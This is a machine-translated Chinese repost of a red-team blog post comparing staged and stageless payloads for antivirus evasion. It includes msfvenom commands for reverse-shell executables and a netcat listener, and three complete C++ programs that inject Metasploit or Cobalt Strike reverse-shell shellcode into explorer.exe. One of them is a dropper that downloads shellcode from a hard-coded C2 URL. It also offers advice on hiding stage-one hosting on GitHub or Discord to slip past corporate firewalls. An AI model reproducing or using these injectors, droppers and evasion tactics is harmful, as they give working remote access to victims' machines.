译文|分阶段与无阶段有效负载 -- 原理和检测
2022-2-14 08:49:26 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

开卷有益 · 不求甚解


前言

Staged vs Stageless 有效载荷,当涉及到 AV 规避时,这是一个有趣的话题;它提出了“拥有更多基于网络的工件还是基于主机更好?”的旧论点。

剧透警告:没有正确或错误的答案。

对于那些不知道分阶段或无阶段有效载荷是什么的人,不要害怕!我们将对此进行介绍,并通过一些实际练习来展示其中的不同之处,以便您可以跟随并学习一些东西!

什么是无阶段有效载荷?

无阶段有效负载是最容易理解的有效负载类型,它包含获得反向 shell 回调所需的一切。因此,与分阶段相比,文件大小通常要大得多,并且程序相对复杂。可以通过侦听原始套接字来捕获此有效负载。您可以在 Netcat、Python、Socat 等中创建监听器。

img

在图中,我们上面的受害者被欺骗运行 stageless.exe,并且攻击者通过 TCP/1337 接收到他们的 Netcat 侦听器的回调。

从技术角度来看,它是这样的:

攻击者使用 msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=1337 -f exe -o shell.exe 生成无阶段负载

接下来,攻击者将在他们之前指定的端口上启动一个 netcat 监听器。

攻击者执行 nc -lvp 1337 开始监听 TCP/1337

然后,受害机器运行无阶段负载,为攻击者提供反向 Shell。

对于科学而言,将 MSFVenom 生成的无阶段负载上传到病毒总检测次数为 55/68(上传时):

https://www.virustotal.com/gui/file/f5859bd4645822e28d30c8981aef49a2f9a0e6ad59d3b753500b1382d53687bb?nocache=1

注意:我的 Eth0 接口已重命名为 br0 (bridge0)。

什么是分段有效载荷?

分阶段有效负载稍微复杂一些,因为它必须向另一个设备发送信标(初始可执行文件通常称为“Dropper”)才能接收第二个“阶段”,其中包含更完整和完整的程序。有时这可能只是 shellcode,有时它可能是一个完全独立的模块,比如 Mimikatz。由于涉及额外的交互,它需要一个“Hander”。Metasploit 框架为此提供了一个名为exploit/multi/handler 的模块。重要的是要知道这可以用来捕获分阶段和无阶段有效负载。

img

在上图中,我们的受害者被诱骗运行 dropper,它向我们的 C2 服务器发送信标以接收第二阶段,然后将其注入并在内存中执行,这会触发反向 shell 回调。

这是从技术方面看的样子

攻击者使用 msfvenom -p windows/shell/reverse_tcp LHOST=br0 LPORT=1337 -f exe -o staged.exe 生成分阶段有效负载

接下来,攻击者需要启动一个处理程序,在我们的例子中,我们使用 Metasploit 的exploit/multi/handler 模块。

img

然后,受害机器运行 Staged 有效负载,触发第二阶段下载,为攻击者提供反向 shell。

img

请注意,在上面的屏幕截图中,我们有一些 Netcat 没有的额外输出。例如:“将编码阶段(267 字节)发送到 192.168.0.169”。

我们现在必须考虑到我们是在本地网络上练习的;为了进行公平的比较,需要下载一个阶段的有效负载,因此,我将在 AWS 上托管一个运行 multi/handler 的 Kali 实例,所以如果有任何反病毒供应商想要发出信号下载第二阶段,他们可能会这样做。

在我们将有效负载上传到 VirusTotal 之前,我们将通过尝试从本地连接到我们的 EC2 实例来验证访问权限:

它奏效了!现在我们可以将 dropper 上传到 VirusTotal。

https://www.virustotal.com/gui/file/4a9f0bd7843e51e9a887391cd2cea9afbea61d978dc06c471bcf10d9e4bf90db?nocache=1

这很酷!在这次运行中,VirusTotal 允许 2 个 AV 供应商向我们在 AWS 中运行的 C2 服务器发出信号。这是一个非常重要的事情需要注意,因为看起来只有少数供应商实际运行可执行文件并允许出站网络访问以查看接下来会发生什么。这次运行,我们总共有 50/69 次检测,比无级有效载荷少 5 次(如果你想 100% 准确,技术上是 6 次)。

如何判断 MSFVenom 中哪个有效载荷是哪个?

阅读以上部分后,您可能会有一个问题,您如何通过在 MSFVenom 中生成无阶段有效负载和暂存有效负载来区分它?这实际上很容易;Metasploit 开发人员为他们的有效载荷提出了一个命名方案,所有无阶段有效载荷都将在平台/shell_type_protocol 中。如果您不确定您正在使用的有效负载类型,您可以执行msfvenom --list-payloads命令以查看有关 msfvenom 可以提供的所有有效负载的简要说明,如果您想了解有关有效负载的具体信息,执行 amsfvenom -p payload --list-options将列出所有有效载荷中可用的选项:

msfvenom -p windows/shell/reverse_tcp –list-options

基于主机的检测

有两种方法可以避免分阶段和无阶段有效负载的检测;

  • 编码和混淆 Shellcode
  • 混淆我们的 Shellcode 注入技术

正如我们刚刚看到的,只有少数反病毒供应商在第 2 阶段发出信号,这为分阶段有效负载提供了明显而明显的优势。我们需要做的就是混淆我们的注入方法,而不是混淆有效负载本身。这并不是说混淆我们的 shellcode 没有好处,只是我们不需要直接担心这一点。然而。AV 供应商(大多数情况下)永远不会看到第二阶段,只会在我们的 dropper 上标记。同样,这并不是说 AV 供应商不会运行内存扫描来检测我们的有效负载,因为他们会。

进程注入 - 无阶段

我们逃避检测的第一种方法将围绕进程注入。我们将利用现有进程 (Explorer.exe) 并使用以下 Windows API 直接注入其中:

  • CreateToolhelp32Snapshot - 自动查找 Explorer.exe 的进程 ID
  • OpenProcess - 创建远程进程的句柄
  • VirtualAllocEx - 为我们的 shellcode 分配内存区域(在远程进程中)
  • WriteProcessMemory - 将我们的 shellcode 写入远程进程
  • CreateRemoteThread - 在远程进程中生成一个 shell
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>

using namespace std;

HANDLE GetProcesHandleName() {
    HANDLE ProcessHandle;

    PROCESSENTRY32 procEntry;
    procEntry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE allProcesses;
    allProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(allProcesses, &procEntry) == TRUE) {
        while (Process32Next(allProcesses, &procEntry) == TRUE) {
            wchar_t newtargetProcName[1024] = L"explorer.exe";

            if (wcscmp(procEntry.szExeFile, newtargetProcName) == 0) {
                cout << "Process ID Found! PID: " << procEntry.th32ProcessID << "\n";
                ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procEntry.th32ProcessID);
                return ProcessHandle;
            }

        }

    }

}

int main()
{
    HANDLE hProcess;
    SIZE_T dwSize = 461;
    DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
    DWORD flProtect = PAGE_EXECUTE_READWRITE;
    LPVOID memAddr;
    SIZE_T bytesOut;
    hProcess = GetProcesHandleName();

 // msfvenom -p windows/x64/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=1337 -f c
    unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
        "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
        "\x49\x89\xe5\x49\xbc\x02\x00\x05\x39\x23\xaa\xf5\x3e\x41\x54"
        "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
        "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
        "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
        "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
        "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
        "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
        "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
        "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
        "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
        "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
        "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
        "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
        "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
        "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
        "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

    memAddr = VirtualAllocEx(hProcess, NULL, dwSize,flAllocationType,flProtect);
    cout << "[+] Memory Allocated at:" << memAddr << "\n";
    
    WriteProcessMemory(hProcess, memAddr, buf, dwSize, &bytesOut);
    cout << "[+] Number of bytes written: " << bytesOut << "\n";

    CreateRemoteThread(hProcess, NULL, dwSize, (LPTHREAD_START_ROUTINE)memAddr, 0, 0, 0);
    return 0;
}

上面的代码可以用 Visual Studio 2019 编译

上面的代码是我们的无阶段 shellcode,它是相当标准的进程注入技术。

https://www.virustotal.com/gui/file/1d42289fac501595b5e20e014f40a605e2332848531588734c3e93cb3062d2f8/detection

总共有 19/68 家反病毒供应商在此程序上进行了标记。重要的是要注意大多数标记的供应商将其标记为 Generic.Exploit.Metasploit,这是 AV 供应商正在开发其签名的一个巨大指标。似乎大量的 AV 供应商可能正在共享签名,或者至少对相同的事情发出警告。

有趣的是,Microsoft Windows Defender 将此检测为恶意软件;太棒了!让我们看一下 ThreatCheck 以获取更多信息。分析完成后,我们看到 ThreatCheck 被识别D0 66 41 8B 0C 48 44 8B为坏字节;查看 Visual Studio,我们可以看到这实际上是我们由 MSFVenom 生成的 shellcode 的一部分。

来自 ThreatCheck 的分析

奖励回合 - 钴击! 让它更上一层楼,让我们使用 Cobalt Strike 的滴管。使用 Payload Generator 功能,我们可以为我们的 dropper 生成 C++ shellcode:

之后,系统会提示我们在磁盘上的某个位置放置我们的 shellcode,检查文件:

繁荣!我们有我们的shellcode。是时候将它放入我们的 dropper 并更新字节值了:

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>

using namespace std;

HANDLE GetProcesHandleName() {
    HANDLE ProcessHandle;

    PROCESSENTRY32 procEntry;
    procEntry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE allProcesses;
    allProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(allProcesses, &procEntry) == TRUE) {
        while (Process32Next(allProcesses, &procEntry) == TRUE) {
            wchar_t newtargetProcName[1024] = L"explorer.exe";

            if (wcscmp(procEntry.szExeFile, newtargetProcName) == 0) {
                cout << "Process ID Found! PID: " << procEntry.th32ProcessID << "\n";
                ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procEntry.th32ProcessID);
                return ProcessHandle;
            }

        }

    }

}

int main()
{
    HANDLE hProcess;
    SIZE_T dwSize = 892;
    DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
    DWORD flProtect = PAGE_EXECUTE_READWRITE;
    LPVOID memAddr;
    SIZE_T bytesOut;
    hProcess = GetProcesHandleName();

 // msfvenom -p windows/x64/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=1337 -f c
    unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x48\x38\x68\x75\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x33\x35\x2e\x31\x37\x30\x2e\x32\x34\x35\x2e\x36\x32\x00\x00\x00\x00\x00";

    memAddr = VirtualAllocEx(hProcess, NULL, dwSize,flAllocationType,flProtect);
    cout << "[+] Memory Allocated at:" << memAddr << "\n";
    
    WriteProcessMemory(hProcess, memAddr, buf, dwSize, &bytesOut);
    cout << "[+] Number of bytes written: " << bytesOut << "\n";

    CreateRemoteThread(hProcess, NULL, dwSize, (LPTHREAD_START_ROUTINE)memAddr, 0, 0, 0);
    return 0;
}

现在我们可以在上传到 VT 之前非常快速地进行测试:成功!我们的注射器再次工作。上传到VT,我们得到以下结果:

https://www.virustotal.com/gui/file/dea855ce961772987be7eea1127fa49c6e85ca2bfbc1b43885b359a05496787e/details

这一次,我们注意到“CobaltStrike”明显减少,C2 签名更通用。

进程注入 - 分阶段

我们将使用与之前完全相同的方法,只是这一次,向其中添加一个暂存组件。我们将使用 C++ 中的 urlmon 库进行 HTTP 调用以从 Web 服务器检索阶段 2(我们的 shellcode)。需要注意的是,当将 C2 URL 作为字符串嵌入时,strings在二进制文件上运行将显示您的 C2 URL。您可以采取各种技术来绕过它,但是,在这篇文章中,我们将严格专注于规避反病毒软件。我们在本节中使用了一个额外的 Windows API

  • URLOpenBlockingStreamA - 从 HTTP/HTTPS 流中检索文件
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>
#include <urlmon.h>
#include <cstdio>
#pragma comment(lib, "urlmon.lib")

using namespace std;

HANDLE GetProcesHandleName() {
    HANDLE ProcessHandle;

    PROCESSENTRY32 procEntry;
    procEntry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE allProcesses;
    allProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(allProcesses, &procEntry) == TRUE) {
        while (Process32Next(allProcesses, &procEntry) == TRUE) {
            wchar_t newtargetProcName[1024] = L"explorer.exe";

            if (wcscmp(procEntry.szExeFile, newtargetProcName) == 0) {
                cout << "Process ID Found! PID: " << procEntry.th32ProcessID << "\n";
                ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procEntry.th32ProcessID);
                return ProcessHandle;
            }

        }

    }

}

int main()
{
    HANDLE hProcess;
    SIZE_T dwSize = 461;
    DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
    DWORD flProtect = PAGE_EXECUTE_READWRITE;
    LPVOID memAddr;
    SIZE_T bytesOut;
    hProcess = GetProcesHandleName();
    const char* c2URL = "http://35.170.245.62/index.asm";
    IStream* stream;
    char buff[461];
    unsigned long bytesRead;
    string s;
    URLOpenBlockingStreamA(0, c2URL, &stream, 0, 0);
    while (true) {
        stream->Read(buff, 461, &bytesRead);
        if (0U == bytesRead) {
            break;
        }
        s.append(buff, bytesRead);
    }
    memAddr = VirtualAllocEx(hProcess, NULL, dwSize,flAllocationType,flProtect);
    cout << "[+] Memory Allocated at:" << memAddr << "\n";
    
    WriteProcessMemory(hProcess, memAddr, buff, dwSize, &bytesOut);
    cout << "[+] Number of bytes written: " << bytesOut << "\n";

    CreateRemoteThread(hProcess, NULL, dwSize, (LPTHREAD_START_ROUTINE)memAddr, 0, 0, 0);
    cout << "[+] Thread Spawned, PID: " << NULL << "\n";
    stream->Release();
    return 0;
}

上面的代码可以用 Visual Studio 2019 编译——你可能会遇到编译错误;添加 /sdl- 标志以忽略错误并无论如何编译

在这次运行中,只有 3 家反病毒供应商在没有 Metasploit 标志的情况下选择了有效负载。

https://www.virustotal.com/gui/file/ca2a3ee12e0909984c04e698ce55c4eb97627bfe8118e742b094f57ac0027788

奖金回合第 2 部分 - 钴打击!

使用相同的方法生成 shellcode,我们将在 Cobalt Strike 中托管我们的“第二阶段”,我们可以通过转到 Attacks -> Web Drive By -> Host Files 来实现。

同样重要的是要注意生成的 shellcode 是十六进制的,您必须解码十六进制并将其作为原始字节值存储在 Web 服务器上。我们可以使用上面相同的程序,只需将有效负载大小从 461 字节修改为 892 字节。

使用 Cobalt Strike 托管文件

我们可以通过执行我们的文件编译代码再次执行文件来验证我们的脚本是否有效:

现在我们可以上传到VT:

https://www.virustotal.com/gui/file/5c57f6b7dd68a76340d88043f6702a0e33b50f06607ec18e0b594810748fb45a?nocache=1

再一次,我们总共有三个检测。有了内存中的 shellcode,我们当然可以看到构建一个 dropper 快速、简单,不需要大量的技能,并且在上传到 VirusTotal 时有很大的不同。

我喜欢大多数人,没有购买 70 种不同的防病毒软件,所以很遗憾我无法在私人实验室(即不是由 VT 托管)进行交叉比较。但我可以访问的是帕洛阿尔托防火墙。那么让我们来看看一些网络流量

基于网络的检测

所以现在我们对主机上的外观有了更好的了解,让我们看看它在网络上的外观!我将在我自己的网站上托管我的有效载荷

Cobalt Strike - 无阶段

在系统上运行无阶段可执行文件后,我们收到 Cobalt Strike 信标警报(通过 HTTP 运行时正如预期的那样)。

在无阶段有效载荷中,我们不必去寻找这些有效载荷的来源,因为我们知道它们都来自一个二进制文件。

Cobalt Strike - 分阶段

在目标系统上运行 Staged 可执行文件后,我们收到了 Cobalt Strike 信标警报(通过 HTTP 运行时正如预期的那样)。

那么实际的警报是什么?查看流量日志,确认没有检测到 Github 的地址范围(stage 1 所在的位置):

初始阶段人员没有收到警报。检查 Palo 的威胁日志:

那么让我们来看看PCAP;是什么触发了警报?如果您回答了 Cobalt Strike 的 C2 信标,那就对了!

结论

哦,男孩,这里有很多东西要解开;所以让我们开始吧。

分阶段或无阶段有效载荷更好吗?从功能上讲,它们的工作方式相同。无论哪种方式,数据都必须通过网络传输,这完全取决于希望它何时发生。如果您考虑到现代端点和网络安全技术,例如 EDR、防病毒、沙盒、NGFW、电子邮件过滤器,您必须进行选择。通常,文件中的数据越多,要标记的内容就越多。这最终由您决定。在高度分段的网络中通过多个主机进行旋转时,选择 Stageless 有效负载而不是 Staged 可能是有意义的。在与各种规避技术作斗争时的初始访问中,有一个分阶段的有效负载在燃烧 shellcode 之前尝试绕过所有端点和网络技术可能是有意义的。

我个人的建议是这样的: 如果您知道存在攻击性 NGFW 和电子邮件过滤器,请不要烧毁您的整个有效负载。烧一个滴管。重新编译你的 dropper 并混淆被标记的一小部分代码比重新编码你的 shellcode 并为你的无阶段有效负载编写一个新的解码函数要容易得多。如果你喜欢为你的有效载荷写一个新的解码函数;那完全没问题。没有正确或错误的方法,只是基于您的经验和您在该领域的发现的首选方法。我个人发现公司网络中有足够的网络流量,您可以使用公共服务(即 Discord、Github 或任何其他提供文件托管的网站)来托管您的第 1 阶段,并且它将 9/10 次完全没有注意到。开发者访问 Github 并不少见,人们在午休时间上 Discord 并不少见。请注意,您的帐户可能会因主动使用它来托管恶意软件而被暂停。

选择分阶段与无阶段有效负载时要考虑的最重要因素之一是您要攻击的公司的规模。你会被多少垃圾(对红队队员)包围?他们似乎配备了多少安全分析师?你可以在 LinkedIn 上 OSINT 吗?你能找到任何现在关闭的安全分析师职位来确定他们使用什么技术吗?您是否有能力购买正在使用的相同 EDR/AV/网络技术?您是否有足够的带宽在一个项目上花费 10 个小时研究 + 开发 EDR/AV/网络技术绕过?

我从测试中学到的东西: 花最多的时间让你的网络流量合法化。构建通过嗅探测试的 Malleable C2 配置文件。针对 AWS 中的各种 NGFW 进行测试。Palo Alto 和 Cisco Firepower 的价格可以低至 1 美元/小时。防病毒不是这里的主要问题。警告信标是。

我从这个实验中学到 了什么:我希望你能从中有所收获,这当然是一个有趣的练习。在 $DAYJOB 我做恶意软件分析,我们发现的一件事是让分析工作我们必须经常禁用保护机制(例如防御者、阻止恶意流量的防火墙等)。在整个设置上花费 5 个小时(不仅仅是你的 dropper、C2 配置文件或有效负载编码)可能是通过企业安全功能与否的区别。

无论如何,我有一个正在创建的猎鹰租户,希望我能尽快访问它。我很想在这个系列中再写一篇文章,看看 EDR 对 Staged 与 Stageless 有效负载的关心程度。

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(3-7天会删除),这是一项测试

最新动态: Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247484770&idx=1&sn=e88134bad5192b6e724912e6ec5baa6b&chksm=fb35acaacc4225bc8563bc4e6ffc2feb6b082db345c1b0c3b4d2733a2d006e0a0e740d282208#rd
如有侵权请联系:admin#unsafe.sh